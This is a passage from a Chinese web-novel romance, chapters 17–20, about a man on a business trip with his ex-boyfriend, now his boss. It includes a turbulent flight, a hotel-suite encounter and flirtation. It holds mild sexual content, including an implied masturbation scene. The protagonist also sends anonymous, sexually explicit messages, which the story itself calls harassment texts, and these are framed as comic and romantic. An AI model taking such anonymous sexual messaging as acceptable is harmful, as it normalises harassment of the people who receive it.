看着不远处某空少第三次借着拿毯子喜笑颜开和席殃弯腰交谈时,沈垣之阴测测地几乎咬碎了一口牙。
劝人放下,天打雷劈。
这辈子要不是他发骚扰短信被法律制裁,就是席殃被他钓成一条狗,跪着求他玩。
反正不可能算了。
盯着那极为明显的细闪耳钉,沈垣之喉结一滚,忍了忍才遏制住当冯沅面给席殃发消息的想法。
坐在一旁的冯沅不觉,不过是刚毕业的年纪,又是头一次坐飞机出差,兴奋的叽叽喳喳在沈垣之耳边说个不停。
“沈哥,你要玩PSP吗?”
“沈哥,你要吃零食吗?”
“沈哥……”
沈垣之盯着窗外的云层正走着神,偶尔也会低声应上几句,后来失重感越来越严重,他有些恐高,没多久就受不了的闭上了眼:“小冯,我想休息会儿。”
冯沅见他脸色不对,很快安静了下来:“好哦。”
听他语气低落,沈垣之稍抬眼皮看了他一眼,本想安慰他几句,但想了想,还是算了。
不想造成任何误会,而且他又不是席殃,对谁都能开屏。一想到席殃整个人就更加难受,沈垣之索性整个人扭过身去,将头抵在冰凉的窗户上,将自己蜷缩成一团。
这是他最喜欢的入睡姿势,若不是情况不允许,他甚至连腿都想蜷缩起来,这样能让他有股莫名的安全感。
飞机升得更高了些,逐渐阴沉的云层和颠簸的气流让沈垣之没心思再想其他的,他闭着眼感受着自己灼热的呼吸,很快就睡了过去。
半梦半醒中,他听见冯沅和谁说了几句话,然后起了身,接着身边有人坐了下来,很快从那人身上飘来一股很熟悉的香味。
沈垣之眉头松了些,他喜欢这个味道。
这股味道带着一丝很淡的甜意和清爽的薄荷气息,就像很多年前被风带起校服的味道,也像嘎吱作响的行军床上,被窝里的味道。
气流颠簸,沈垣之的额头撞在了窗户上。
他没觉得疼,甚至连眼睛都不想睁开,可没多久就有人扶上了他沉重的头,接着就被安置在了某处。
短短的头发轻扫在他眉眼间,沈垣之几乎是下意识地凑了过去,他似乎渴求这股温暖已久,一点又一点的,用额头轻蹭着,用灼热的呼吸轻轻喷洒着。
不多时,沈垣之听见头顶的人叹了口气。
很轻,似乎带着点颤。
沈垣之不知道他为什么叹气,只是下意识用额头蹭了蹭他的下巴,模糊记忆中,他好像就是这样哄的人。
那人很快不再叹气,沉默片刻之后,用下巴轻轻摩挲着他的头顶,低声说了句什么。
不知道过了多
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久,沈垣之在一阵剧烈抖动中醒了过来,入目是黑沉沉的一片,睡前的乌云彻底变成了黑云,迎面而来的恐慌感像一望无际的黑暗,一点一点地将沈垣之吞没。
他有轻微夜盲症,再加上恐高,飞机穿过云层的颠簸感在瞬间放至最大,很多人在这次失重感中醒来,不多时隐约传来几道不受控制地叫声。
沈垣之被这叫声彻底吓醒了,他猛地一下弹了起来,下意识往某个方向望去,就在这时,机身突然急速下降,沈垣之被这突如其来的失重感惊得愣在原地。
“沈垣之。”
身旁人叫了声他的名字,这声音太过熟悉,沈垣之一时没反应过来,他茫然地盯着黑夜,试图将人看清。
“席殃?”
身旁人应了声,没等沈垣之弄明白为什么席殃会坐在他身旁,紧接着慌到发凉的手便被握紧了。
“别怕。”
黑暗里看不清席殃的样子,沈垣之只听到他很平静地说:“只是经过一段颠簸区域,再睡一觉就好了。”
这声音太过平静,平静到忘记了明明不久前两人才大吵一架,此刻又自然而然被安抚,平静到让沈垣之很快调整了状态,他压抑着情绪缓了几口呼吸,淡淡道:“我不怕。”
若不是后背发凉,声音带颤,沈垣之都快信了自己的鬼话,他手抖的从席殃手掌里抽都抽不出来,在空姐的声音从广播里传来时,很不经意地往席殃身旁凑了凑,面不改色道:“冯沅呢?”
席殃沉默了几秒,往他身边靠近了些,紧接着往某处看了眼,漫不经心道:“还没醒。”
沈垣之:“……”
两人一时沉默。
沈垣之又试着抽回了手,力度太小,席殃像是没察觉,没松开。
睫毛很轻地一扫,沈垣之没再动了。
黑暗里两人靠得很近,连互相克制的呼吸声都能听见,在经过持续一段的下降感之后,一切归于平静,舱体内的灯很快亮了些,沈垣之很快缩回了手。
他背过身去,很轻地说了声:“谢谢。”
席殃没有说话,沈垣之也没有再回头,手心里的温度太过灼热,几乎从掌心蔓延至眼窝,他盯着逐渐变白的云层,心想,刚刚要是就这样死了,不知道在地底下能不能放过席殃。
要是能也就算了,不能的话那他是不是要给薄言托梦,让他烧个手机给他。
成本太大,还是算了。
胡思乱想之际,席殃突然很轻地“嘶”了一声。
耳朵一动,沈垣之立马扭过头去:“怎么了?”
“疼。”席殃声音又低又哑。
沈垣之闻言眉心一皱,有些不自然地凑了过去,声音比以往任何一次都轻:“哪里疼,刚刚碰到了?”
席殃盯着他看了许久,直到沈垣之粗略检查一番没见到伤口,神色猛然大变,即将要起身大呼“医生在哪”时。
他眼眸一沉,藏下那一点不为人知的痕迹,指了指因戴久了磁吸耳钉而轻微发红的耳垂,低声道:“这儿疼。”
“……”
17. 第 17 章
飞机于下午五点停落临江机场。
坐在前往下榻酒店商务车的副驾驶上,冯沅正襟危坐,大气都不敢出的直视前方。
后座安静无声,窗外阴云密布。
车停在了某个红绿灯前,终究还是忍不住好奇,冯沅偷偷瞟了眼车内镜,沈哥和席总依旧坐的天各一方,但不知道是不是他的错觉,两人间的距离比之前更远了些,沈哥几乎半个身子快贴着车门了,他此刻正划着手机,垂着头看不见表情。
反观席总,冯沅的目光落至他微勾的唇角,很淡,却有些显眼。
冯沅疑惑地皱了下眉。
没等他再继续观察,一道低沉的男声突然打破了此刻的安静:“和廖教授联系上了没有?”
沈垣之闻言很快抬起了头,他睫毛一扫,将手机按熄了:“联系上了。”
“刚刚我和他助理沟通了一下,廖教授现在还在讲座现场,我想着约个晚饭,席总您看怎么样?”
席殃没有同意也没有拒绝,语气淡淡的:“先回酒店。”
沈垣之应了声,刚刚在微信上和廖教授助理简单的聊了一下,对方先是为他们专程来一趟说了道谢,但言语间有礼之余又太过客气,连讲座地址都没发过来,多半是廖教授的态度。
沈垣之眼眸一垂,他在这行干了这么多年,知道项目没那么容易拿下,但今天心情格外郁闷,不知打哪来的一股怒火在胸前里烧得正旺,仿佛下一秒就要喷涌而出。
尤其是瞥见席殃还有些微红的耳垂。
之前在飞机上席殃喊疼之后,沈垣之忍着脾气凑过去看了两眼,虽说不严重,但是那一抹本不存在的微红看得他心里莫名不爽,连带着看席殃这个人又开始不爽了起来,尽管前一秒才被他安抚,尽管才从他手里抽回自己的手。
一路无言直到下榻的酒店,沈垣之在车停稳后率先下了车。
他正准备绕后帮司机拿行李箱,可手机却不合时宜地响了起来,来电人是一个没署名的号码。
没署名的号码。
沈垣之眉心一跳,做贼心虚地看了眼正准备下车的席殃,见他没看过来,很快接通了电话:“你好,我是呈声沈垣之。”
“沈助理你好,我是廖教授的秘书……”
冯沅从副驾驶下来时便听见了不远处飘来这句话,他见司机正帮席总拿行李箱,很有眼力见地快步走了过去。
“席总,我来吧。”
席殃闻言看了他一眼,低声说了句:“谢谢。”
虽是这样说,但还是自己将行李箱连同着沈垣之的行李箱也一并拿了下来,冯沅见状只好从司机手里接过了自己的行李箱。
一旁的席殃看了眼正在打电话的沈垣之,默不作声地推着两个行李箱往门口走去。
H市比G市天气晚的要早,借着酒店门口的灯光,冯沅注意到席总黑色行李箱上有一块很不起眼的涂鸦,有些眼熟。
没等他看清楚,沈垣之的声音倏然从身后传来:“怎么不进去,还待在这干什么?”
说完他绕着车走了一圈,似乎在找什么,随后眉头一皱,诧异道:“我行李箱和公文包呢?”
冯沅看了眼合上的电梯门,老实道:“席总推走了。”
沈垣之:“……”
——
“沈哥,”电梯里,想到今天在车内那一眼,纠结许久之后的冯沅小心翼翼地开口问道:“席总是不是不太喜欢我啊。”
沈垣之攥紧了前台给他的房卡,他本想着一下车就拿身份证再另开一间房,但怎么想也没想到席殃会直接将他行李箱推走。
没有身份证就开不了房,要另开房就得去拿身份证,去拿身份证就要和席殃同处一室,脑子正一片混乱着,冷不丁听到冯沅这句话。
他想都没想,警觉地开口道:“他喜欢你做什么?”
冯沅闻言一时语塞。
沈垣之很快回过神来,有些不自然地撇开了视线:“小冯,你做好本职工作就好了。”
见冯沅没说话,盯着不断上升的数字,沈垣之语气一顿,下意识替席殃说了几句:“席总性格就这样,要是让你感到不自在也别往心里去。”
说完又觉得这话多余,于是淡淡地加了句:“领导嘛,哪里能注意到这些小事。”
冯沅说这话本意无他,只是想和沈垣之说说话,经这句话以及之前两人间的气氛,思索一番后冯沅迎合着点了点头:“我知道的。”
“席总是国外回来的,从小接受的教育和我们不太相同,”他语气一顿,像是有些委屈:“可能我和部门的领导相处久了,以为所有领导……”
“冯沅。”沈垣之突然叫了声他的名字。
冯沅闻声望去,意料之外地,沈垣之眼眸很沉:“我说过了,席总性格就这样。”
“每个人,每个领导的性格都不一样,没什么好比较的。”
“你能做好本职工作吗?”沈垣之语气一顿,没什么情绪地看他:“如果不行,你可以申请回去,换个人来。”
狭小的空间里气氛猛地沉了下来,冯沅心一顿,下意识道歉:“不好意思,沈助。”
“我……”他语气一顿,有些艰难地解释:“我只是……”
沈垣之打断道:“如果能,以后就不要再说了。”
冯沅平时和同事吐槽领导都成了习惯,他没想到一向对他客气的沈哥突然像是变了个人一样,就连当时借着酒意告白也没见他这样,想到不久前席总主动找他换位置,冯沅后背一僵,缓了片刻后才应了句:“好的。”
电梯依旧在上行,狭小的空间里却只剩下沉默。
沈垣之后知后觉自己反应过激,他看了眼垂着头一言不发的冯沅,思索片刻开口道:“席总他在国内读的高中。”
见冯沅望过来,他声音放轻了些:“一中。”
沈垣之本意是想都是同门能拉近些关系,他们还要相处三天,工作上以后也需要配合,而他刚刚说的太过,不想给席殃莫名树敌。
但冯沅似乎会错了意,他很快朝沈垣之释然地笑了笑:“难怪沈哥你维护席总呢,原来你俩是同学呀。”
沈垣之皱眉。
也不知道是因为那句“维护”,还是那句只是“同学”。
冯沅没注意到他的异常,语气很快就变得格外雀跃,像是想到了什么,他开口道:“难怪席总要和我换座。”
沈垣之目光一凝,他被席殃气糊涂,都快忘了这回事,喉咙一紧,他淡淡道:“为什么?”
冯沅朝他神神秘秘笑了一下,没说话。
沈垣之见状眉头一皱,正准备继续问时,冯沅突然眼眸一亮:“席总也是在G大读的吗?”
目光微凝,沈垣之摇了摇头。
“那席总行李箱上为什么有
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我们学校涂鸦部门的标志?”冯沅疑惑道:“沈哥,我记得这些涂鸦作品是不对外出售呀。”
——
目送冯沅进房间后,沈垣之待在黑暗里沉默了许久,窗外天沉了下来,一场雨却迟迟不下。
他手里攥紧了套间房卡,盯着眼前紧闭的房门,心里开始打起了鼓。
冯沅嘴里说的涂鸦作品,是沈垣之刚进大学时参加的一次部门活动,他被当时的舍友拉着去了现场,因是寄给福利院的孩子们,涂鸦载体基本上是有关学习的。
比如课桌,笔盒等等,但沈垣之在一众物件中选了一款行李箱。
当时他偶尔还是会想席殃。
想他一声不吭,拉着行李箱走的模样。
那天下午他坐在现场画了很久,不过最后也只是用几抹水彩在行李箱的角落处画了一个很小的落日。
这项涂鸦活动后面又持续了很多届,所以冯沅会知道并不奇怪,奇怪的是,为什么席殃会有,为什么刚好是行李箱。
心跳如雷鸣般跳动,沈垣之眸光微颤。
会不会?
沈垣之很快摇了摇头,自从经历过前几次之后,他不愿意再去猜,怕自己又猜错,怕又想些有的没得。
可眼见一定为实。
房卡在手里被攥的发疼,沉默片刻后,沈垣之才感觉到疼似的松开了,他面无表情打开了房门。
套间内洒着很适宜的灯,门直直地对着窗户,临江,未合上的窗帘被一阵风吹起,沈垣之被冷的打了个哆嗦,这才缓缓吐出一口气。
他偏过头看了眼微敞的房门,只隐约传来的一层淡光,像是没开灯,沈垣之一顿,手脚发麻的换了干净的拖鞋。
轻手轻脚地从客厅走到席殃卧室门前,沈垣之听着套间内时不时传来的水声,胆子渐渐大了起来。
席殃在洗澡,就看一眼。
看一眼花不了多长时间,沈垣之这样想着。
至于看了之后,如果是又怎么样,不是又怎么样,沈垣之全然没想过,在此刻,他只是想看一眼而已。
浴室离主卧不远,暖黄的灯映着那一道高大的身影赤/裸/裸地打在门框上,沈垣之立即烧红了耳朵,眼眸被烫似的移开了,脚下的拖鞋太大,沈垣之因此还绊了个踉跄,好在地上的毯子很软,没有闹出什么动静。
耳边传来断断续续的水声,余光里全是那道身影,沈垣之几乎想立马逃出去,可目光瞥到一旁的行李箱时,还是义无反顾地走了过去。
房间里灯光实在太暗,因为夜盲症,沈垣之只能隐约看到两个行李箱的影子。
他索性半蹲下来,凭着记忆里画过的位置去摸其中一个,微微发抖的指节触上有些凉的行李箱,沈垣之心一下一下地蹦着,他太紧张了,以至于指腹间什么都感知不到,紧张到他几乎什么都听不到。
不知道过了多久,手上只摸到一层灰。
无语之际,沈垣之耳边突然传了很低的一道笑声:“要我帮忙吗?”
“……”
“小圆,”这道笑声叫他:“转过来。”
宛如机械般,沈垣之缓缓扭过了头。
只见不远处的浴室不知何时大敞开来,借着暖黄的灯光,沈垣之撞进一双,噙着笑的眼里。
席殃学着他半蹲在他身旁。
上身赤裸着,只围了一截浴巾,不知道看了多久。
18. 第 18 章
席殃刚洗完澡。
浴室暖黄的灯映在他的脸上,向来凌厉的五官在此刻多了几分罕见的柔和,他此刻歪着头,像好不容易抓到自家猫咪干坏事那般,眉头轻挑着,一双含着笑意的眼眸正自上而下地看他。
沈垣之甚至可以在那双眼睛里,清晰地看见自己此刻的模样。
喉结重重一滚,沈垣之强装镇定地移开了视线。
“沈助怎么会在我房间里?”
沉默之际,席殃笑着开口问。
“我房间”三个字被他说得很重。
“我,我。”
意识到自己有些结巴,沈垣之停顿了一下,用他和平时相比,实在算不上平稳的声音开口道:“我就是来告诉你,廖平章他助理说他今晚没空。”
话刚落音,头顶上方的席殃突然笑了一下。
沈垣之一愣,被这声笑得呼吸都乱了,意识到这个理由有些站不住脚,正想开口再解释时,席殃语气一顿:“是,是,是吗?”
席殃声音低哑,语气间含着很显而易见的笑意。
笑得很好听,就是故意学他说话。
眉头一皱,有些生气的沈垣之抿紧唇抬头去看。
映入眼帘的是席殃棱角分明的下颌,浴室暖黄灯若隐若现的照着,游离的视线从突出的锁骨滑至饱满的胸膛,再往下便能看见几块分明的腹肌,匿于欲盖弥彰的浴巾之中。
再往下……
沈垣之看了一眼,移开视线,沉默片刻后又移了回来。席殃也不再笑了,沈垣之听见他似乎很刻意地屏住了呼吸。
呼吸轻轻一怔,两人间的空气似乎都染上了席殃刚洗澡后的暖意,连带着沈垣之的脸和耳尖都带了温度。
忍着往后退缩的想法,瞥见一旁的行李箱,沈垣之像是突然清醒了过来,用最生硬的语气,先发制人道:“我只是过来拿我的行李箱。”
这个理由比上一个虽然可行,但实在前言不搭后语,语气仔细听还带着不易察觉的颤,还是暴露了沈垣之此刻不是很平静的状态。
显然席殃也发现了。
感受到头顶传来挥之不去的视线,沈垣之稍显迟疑一抬眸,很快地,撞进了一双黑沉的眼眸里。
没等沈垣之反应过来,只见席殃突然倾身下来,那双眼眸自上而下,牢牢地盯着他看,两人之间本就过近的距离被瞬间缩短,鼻息间全是挥之不去的暖意。
沈垣之心猛地一跳,下意识往后躲。
月色从飘扬的窗纱下洒了进来,夜晚送来的凉风从灼热的空气里一绕,便渡了层温度似的,在两人过近的呼吸里缠绵着。
察觉到席殃的视线从他的眼划过鼻尖,最后落至他的唇,沈垣之头皮一阵发麻,不知不觉地后背抵上了墙。
以前他俩亲嘴的时候,席殃便这样,明明和他保持着距离,但连呼吸都在引/诱。
沈垣之的思绪被拉长,脑海里渐渐浮现出以往他俩接吻的场景。在无数次情不自禁的唇齿交融中,沈垣之的思绪停在了他俩第一次接吻的那幕。
那是在一次很寻常的雨夜。
沈垣之躺在席殃那张软乎乎的行军床上,他闭着眼假寐,听着窗外淋漓的雨声,听着不远处传来席殃写作业的声音。
后来,他自然而然攀上了席殃的后背。
沈垣之有些害羞,却实在忍不住想靠近席殃,喜欢席殃身上很淡的香味,也喜欢席殃身上的体温。
颤抖的唇先是试探的落在微凉的耳尖上,最后一寸寸向下落至脖颈,锁骨,甚至是席殃那略带颤抖的喉结。
再到后来,沈垣之不知怎么就坐在了席殃腿上,席殃本握着笔的手搭在了他的腰间,时不时轻触着,沈垣之便开始发抖。
一沈垣之并不会亲,席殃也不好好教他。
偏偏故意揉着他的耳垂,眼眸里染着温度,沈垣之受不了席殃这样看他,于是壮着胆子凑过去索吻,先是试探着用唇贴一下下巴,再在席殃略带纵容的视线下,一寸寸向上丈量。
最后贴上他湿润的唇畔。
席殃的嘴唇有一点点凉,被撬开之后
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又很烫,烫的沈垣之轻哼了几声,席殃呼吸一怔,后来便压着他深吻。
当时席殃也洗了澡,身上香喷喷的,跟现在一样。
沈垣之喉结一滚。
他脑子里早已乱成了一团浆糊,那双眼却像是安了定位器般盯着眼前的唇看,没等他搞清楚自己为什么要抬着下巴靠近时,席殃笑着往后躲了一下。
“知道了。”
他声音低哑,黑暗里用手轻轻扯了下浴巾。
沈垣之愣了几秒后才回过神来,意识到前几秒他想干嘛,瞬间连呼吸都乱了。
席殃则是很快站起身来,背了过去。
迤逦的氛围不复存在,盯着他安然无恙的背影,沈垣之喉结一滚,胸腔渐渐生出一股无法言语的憋屈,沉默片刻后,他生硬地开口:“席总,那我先回去了。”
席殃缓了几口呼吸,伸手将一旁的浴袍披在了身上,往腰间一系,这才转过身来。
“稍等。”
沈垣之一听立马就站起身来,他盯着包裹的严严实实的席殃沉默几秒,包这么严实,不就是故意防他。
这样想着,沈垣之几乎是立即咬牙切齿地开口:“不等。”
说完便要往门口走,脚步一顿,他突然转过身来,像是非要找出话题来一般开口道:“席总,你耳钉有链接吗?”
席殃眉间一挑,显然有些意外。
见状,沈垣之呼吸渐渐平缓了下来,语气淡定:“小杜说你今天戴耳钉好看,她要我问一下链接。”
说这话时,沈垣之是想通过在自然地和席殃搭话中,有意展现自己其实对他半裸的身材很无动于衷,并且提醒席殃不久前摸着耳钉在飞机上喊疼的模样,以此来达到心理平衡。
见席殃沉默,沈垣之眉头一展,心情顿时愉悦了不少,正当他准备提脚离开时,席殃半倚在墙上,若隐若现地灯光下他唇边勾起了一抹笑,像是蛊惑:“你呢?”
沈垣之不明所以地看他。
“你也觉得我好看吗?”
“……”
19. 第 19 章
沈垣之逃了。
如果不是因为在地上蹲了太久,脚麻的厉害,在他预料之中,他本该是逃也逃的很洒脱的样子。
下半身失衡,上半身失守。
一头即将猛地扎进墙壁里的那瞬间,沈垣之连辞职报告都想好了该怎么写,毕竟人可以社死,但是不能一直社死,尤其是在前任面前。
可意料之中的疼痛感没来,席殃略带严肃的一句“小心”之后,与之而来的,额头竟传来一种很奇异的触感。
很硬,又软,还带着扑面而来的香味。
正疑惑之际,头顶后知后觉传来一道很轻的闷哼声。
沈垣之一愣。
黑暗里什么都看不清,但感受着额前送来的人体温度,沈垣之眼眸一怔,渐渐觉得大事不妙。
也不知道是哪个神经搭错了,又像是要确定自己想法一般,鬼使神差地,被摔傻的沈垣之像只猫咪一样,屏住呼吸,用额头轻轻蹭了一下。
腹部骤然紧缩,头顶的人呼吸猛地一怔。
“沈垣之。”
全身早就发麻的沈垣之用头抵着人的腹肌,不敢说话,也不敢动,默不作声地当起了木头人。
沉默了不知道多久后,安静的卧室里传来席殃略带沙哑的声音,他调整了下呼吸,像是极其隐忍:“你别这样……”
席殃语气一顿,气息都带着热:“别这样蹭我。”
话刚落音,立马反应过来的沈垣之一句话也没说,臊红了一张脸,手脚并用,连滚带爬,逃出了席殃的卧室。
逃得极其干脆。
逃得非常狼狈。
但冲击实在太大,以至于逃出来十分钟后,呆坐在卧室阳台藤椅上的沈垣之脑子里依旧是席殃那句:“别这样蹭我。”
以及,额间那实在挥之不去的触觉。
沈垣之木着一张脸,二话不说又喝了一口早已凉透的茶,一杯下肚,还是压不住那股燥热,来回在冷风里踱步几趟之后,丝毫没有得到缓解的沈垣之,一头钻进了浴室。
H市的天气实在算不上晴朗,一场雨后,连空气里都带着淡淡的凉意。
浴室里因凉水浸透温度因而骤降,沈垣之连衣服都来不及脱完便火急火燎地站在了花洒下,他抿着唇,感受着肌肤间传来的阵阵触觉。
冷水也压制不住,沈垣之干脆调成了温水,他一边解开湿漉漉的衬衣,脑子里一边开始给自己灌输工作上的事。
明天一定要和廖教授联系上。
前几天搁置的产品资料也要开始重新着手准备。
骨骼分明的指节从脖颈向下划,一路径直向下,最后停在了窄细而又白嫩的腰间。
沈垣之迟疑了一下。
脑子里很快浮现出席殃的脸来。
沈垣之呼吸一怔,水声自上而下地往下落,从直而又长的睫毛落至脸颊两侧,暖黄的浴灯肆无忌惮地打着他白皙的身躯上,沈垣之轻轻喘了口气。
他刚刚去席殃卧室准备干嘛的……
沈垣之茫然地抬了下眼,向来清冷的眸间染上了不该有的情郁,他动作不断,微微昂起了头,漂亮的脖颈弯成自然而又性感的弧度,喉结上下滚动着。
一阵轻微的喘息过后,暖光再次落在了他的身上。
片刻后,水声渐起。
沈垣之又重新洗了个澡。
——
第二次了。
发泄过后的沈垣之木着一张脸开始在卧室里忙起了工作,先和黎炫汇报了今日工作内容,之后着手整理之前席殃安排下的任务。
一想到席殃,沈垣之就开始气的牙痒痒。
席殃这骚东西。
大晚上不好好穿衣服,故意挑着时间洗澡,肌肉练的一般就够了,练那么好,身上又非常香,这不就是存存勾引人吗?
爽完之后的沈垣之翻脸不认人。
一想到自己的行李箱没拿回来就算了,连涂鸦也没确认,甚至总感觉莫名其妙被勾引了,赔了夫人又折兵的沈垣之开始生气。
将鼠标轻轻一扔,在屏幕灯下,他面无表情摸出了手机。
点开短信,早上发的席殃果然一条都没看。
沈垣之眼眸一沉,轻轻磨了下牙。
怀着几分道不明的情绪,刚被迫爽完的沈垣之又无不恶劣地发起了骚扰短信。
【今天为什么又不理我?】
【你越不理我,我就越觉得你带感。】
【你一带感,我就想扒你衣服。】
脑海里突然冒出席殃的身体线条,沈垣之喉结一滚,眼眸沉了几分。
【你身材真的好好,人漂亮,腹肌漂亮,长这么漂亮是不是故意勾引我让我舔的。】
【哥哥,你说我把你舔湿好不好?】
【从腹肌一直往下,你不说停我就一直舔。】
四下冷却的空气因这几句话温度又上升了几分,脸上扑了层热度的沈垣之不想再洗一次澡,便点到为止,放下了手机。
他点开了和薄言的聊天框。
上次在席殃车上莫名其妙打来一通电话后,薄言像是人间蒸发了一样,消息不回,电话不接。
沈垣之都快准备去趟派出所时,薄言酒吧里的那前台小哥才心有灵犀地给他发来了消息,说是这两天薄言去参加某个调酒比赛,期间不让用手机。
因为前几次也有类似情况发生,加上沈垣之这段时间心思全扑在了某处,也就没有过多去问。
这会儿估摸着比赛时间过的差不多了,沈垣之发了条消息过去。
【syz:在?】
不出两秒,薄言就给他回了消息。
【薄言:在,小圆这几天我都快忙晕了。】
沈垣之皱眉。
【syz:不就比个赛吗?怎么还忙成这样,和以前不一样吗?】
【薄言:太不一样了,比赛赛制中途改了,除了调酒之外还要加独白和介绍,我都快疯了。】
薄言读书时成绩就不太好,语文作文更是没眼看,沈垣之弯起眼眸偷偷笑了好几下,才装模作样地回复他。
【syz:这就是报应,谁让你当年不好好读书。】
薄言怒了,发了几个生气的表情包过来。
【薄言:谁说一定要好好读书,】
他顿了一下,打字道。
【薄言:小圆,我想起件事。】
沈垣之将下巴抵在办公桌上,切向后台,确定席殃没看消息后又切了回来
【syz:什么事?】
【薄言:我想起席殃是谁了。】
目光触到屏幕,沈垣之一愣,猛地坐直了背。
【薄言:我们的高中同学嘛,多没存在感一人,我都不记得咱们班上还有他这号人。】
沈垣之眼眸沉了几分,没等他回复,薄言又打字过来了。
【薄言:前几年见他还是在一中附近,整个人怏怏地,一开始我还没认出他来,还是他先跟我打的招呼,没想到他现在都能和你当同事了。】
【薄言:所以说读书不是唯一出路嘛。】
沈垣之愣了一下。
脑海里闪过一丝不确定,他呼
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吸微怔,忽视他最后一句话,飞快地打字。
【syz:什么时候?】
【薄言:应该是我们刚读大学的时候,他像是有什么话要说,但我俩之前又没找我说过一次话,他当时主动跟我打招呼我都吓了一跳。】
【薄言:我怕他找我借钱。】
“……”
没察觉到手机对面无语的沈垣之,薄言继续打字道。
【薄言:后来也没说上话,恰好有朋友叫我打球我就走了。】
沈垣之心一沉,脑海里闪过冯沅不久前说过的话,以及还没来得及确认的行李箱,没等他抓住什么,手机突然震动了一下。
【陌生号码来电。】
一看这号码,沈垣之立马按了静音。
等对方挂了电话后,沈垣之连忙切到了后台。
果不其然,席殃看了消息。
【你到底是谁?】
要是在以前,沈垣之可能又满嘴跑火车,张口就来,可薄言的话还在耳边,莫名地,沈垣之收起了那份轻佻的语气。
眼眸一沉,嘴一抿,打字道。
【不想告诉你。】
语气带着他都没有察觉到的撒娇,对面很快显示已读。
【你看过我的身材?】
沈垣之一看,连忙往上划了几下。
发那句话的时候他正上头,丝毫没注意到极有可能暴露自己,正当沈垣之犹豫着怎么找补时,门突然被敲响了。
沈垣之一愣。
心猛地提到了嗓子眼。
他攥紧手机平复着心情很快走了过去,屏住略微凌乱的呼吸,沈垣之不紧不慢地拉开了门。
入目是一双熟悉的眼眸。
明明不久前才见过,沈垣之的心却又不受控制地落了半拍,他轻咳了一声,背地里偷偷将手机按了静音。
双目对视,他注意到席殃发丝凌乱,像是又重新洗了个澡,气息间有着很淡的凉意,客厅里的茶几上放着一瓶矿泉水。
瓶身即将见底,席殃像是坐很久了。
想到之前席殃那通电话,沈垣之心里突然猛地落空,头皮几乎瞬间炸开,他喉结一滚,心想——
完蛋了。
他怎么忘记了席殃是多敏锐的人,以前他俩在一起的时候,他头发少了一厘米,又或者是哪天没吃早餐,席殃都能一眼看穿。
越想越心虚,就当沈垣之准备滑跪自曝时,席殃突然开口道:“你有没有止疼软膏。”
“……”
见沈垣之沉默,席殃目不转睛地盯着他,语气很淡:“我被你撞的肚子疼。”
沈垣之一哽。
目光随之往下落,席殃换了件家居服,黑色的,很薄,腹部形状明显,不能细看。
僵硬地偏过头,沈垣之在席殃的注视下拨通了前台电话,语气淡定:“麻烦送一盒止疼软膏来套房。”
像是想到了什么,他语气一顿,看了席殃一眼,生硬道:“要快,再不来患者就要痊愈了。”
话刚落音,席殃笑了一下。
两人隔着不远不近的距离,沈垣之一抬眸便撞进了席殃的眼睛里,和平时带着客气的笑不一样,席殃此刻眼里的笑意都快溢了出来。
眸间含柔,没了往日的疏离,是记忆中最深处的席殃,沈垣之低下头那刻时,他想。
笑这么好看干什么。
骚东西。
又故意招人。
眼眶莫名发烫,他眨了眨眼睛又想。
六年三个月零八天。
席殃他真的回来了。
20. 第 20 章
察觉到席殃投来视线,沈垣之很快恢复了平静。
两人隔着一扇门谁都没有开口先说话,在万籁俱寂的夜里显得格外沉默,但沈垣之很明显能感觉到和以往的氛围不同,没有剑拔弩张,也没有存心试探。
席殃连呼吸都有意克制地,落在他身上的视线却很重,他什么话都不说,但偏偏又像是什么话都说了。
沈垣之眼睫很轻的一扫,放在门框上的手渐渐用力,他喉结一滚,正当要说些什么时,门口突然传来有规律的敲门声。
“先生。”
是客房服务的声音。
沉默几秒后,席殃很轻地应了一声,他脚步后撤很快转身向门口走去,沈垣之暗自松了一口气,盯着席殃的背影,他眉头一皱,突然开口道:“等一下。”
席殃闻言脚步一顿,回头看了过来。
沈垣之盯着他几乎是贴在身上的黑色居家服,在灯光下薄的几乎一览无余,下身只穿了件宽松的裤子,小腿肚健身后的肌肉线条不过分夸张,白的很漂亮。
席殃重新洗了澡,全身上下都很香,头发带着眼尾都染上了湿意。
之前的迤逦不复存在,沈垣之眼眸一沉,又恢复到以往的状态,无不恶劣地又开始在心里意淫这人。
不知道这些年在国外都干了些什么,以前连亲嘴都浅尝即止的人,现在穿成这样就想去开门。
盯着席殃身上那件普通到再普通不过的家居服,沈垣之心里怒火“蹭蹭蹭”地往外冒。
要是被别人看到了,影响他个人形象是小,如果影响了公司名誉那就是大。
这样想着,沈垣之便阴沉着脸,理直气壮地开口道:“席总,我来开门。”
话刚落音,席殃眼眸里闪过一丝不易察觉的笑意,他低声应了一声,很有眼力地侧过身给沈垣之让开了路。
沈垣之并没有注意到席殃的异常,他木着脸很快朝门口走去。客厅里只开了墙体四周的氛围灯,侧卧离大门还有些距离,黑灯瞎火的,沈垣之看的不是很清楚。
没到看不见的地方,沈垣之就下意识停顿了一下,伸出手往前探一下后,再提起脚步往前走。
他试探的动作认真,压根就没注意到还有个亦步亦趋的领导跟在他身后。
好不容易走到玄关处,看着眼前黑漆漆的门,沈垣之脚步一顿,他刚摸上门把手,谁曾想后背就突然被人克制地撞了一下。
沈垣之一愣,没等他反应过来,后背立刻贴上了一个很熟悉的怀抱。
“抱歉,没站稳。”
身后的席殃声音很低,气息很热,几乎是贴着他的耳朵说的话,喉结有些慌乱的一滚,沈垣之正想说些什么,谁知手稍稍一用力,门咔哒一声就被打开了。
“您好……”
客房服务员热情的问候声在目睹两男一前一后拥抱时戛然而止。
空气一下安静了。
“那个……”
男服务员目光在两人间漂浮不定,他在酒店工作这么久也不是没见过这种情况,晚上要止痛软膏,又是两个男人。
但一般都是其中一个人出来拿的,像这样迫不及待抱着出来,倒也是第一次见。
被抱的这个,气质清冷,但很漂亮,尤其是那双眼睛,眼尾上翘着,但他像是突然被抱似的,目光微微有些呆滞,脸红的也很明显。
只是一瞬的惊讶,男服务员很快地调整好了面部表情。
“先生,这是您要的软膏。”
男服务员将软膏自然而然递给了身后较高大的男人。
席殃自上而下看着那逐渐粉嫩的耳垂,掩下眼眸里的深意,像是不惊动怀里这人似的,下巴轻轻蹭着那柔软的头顶,小心翼翼地伸手接过。
“多谢。”
男服务员闻言朝他笑了一下。
随后他像是想到了什么,在随行的小推车里找了下,片刻后拿出一瓶看不清包装的塑料瓶出来。
在两人略带疑惑的视线下,他像以往每次那样一般,自然而然将手里的塑料瓶递了过去。
“先生,这是……”他语气平静地介绍着。
“超滑,湿润,强力……”
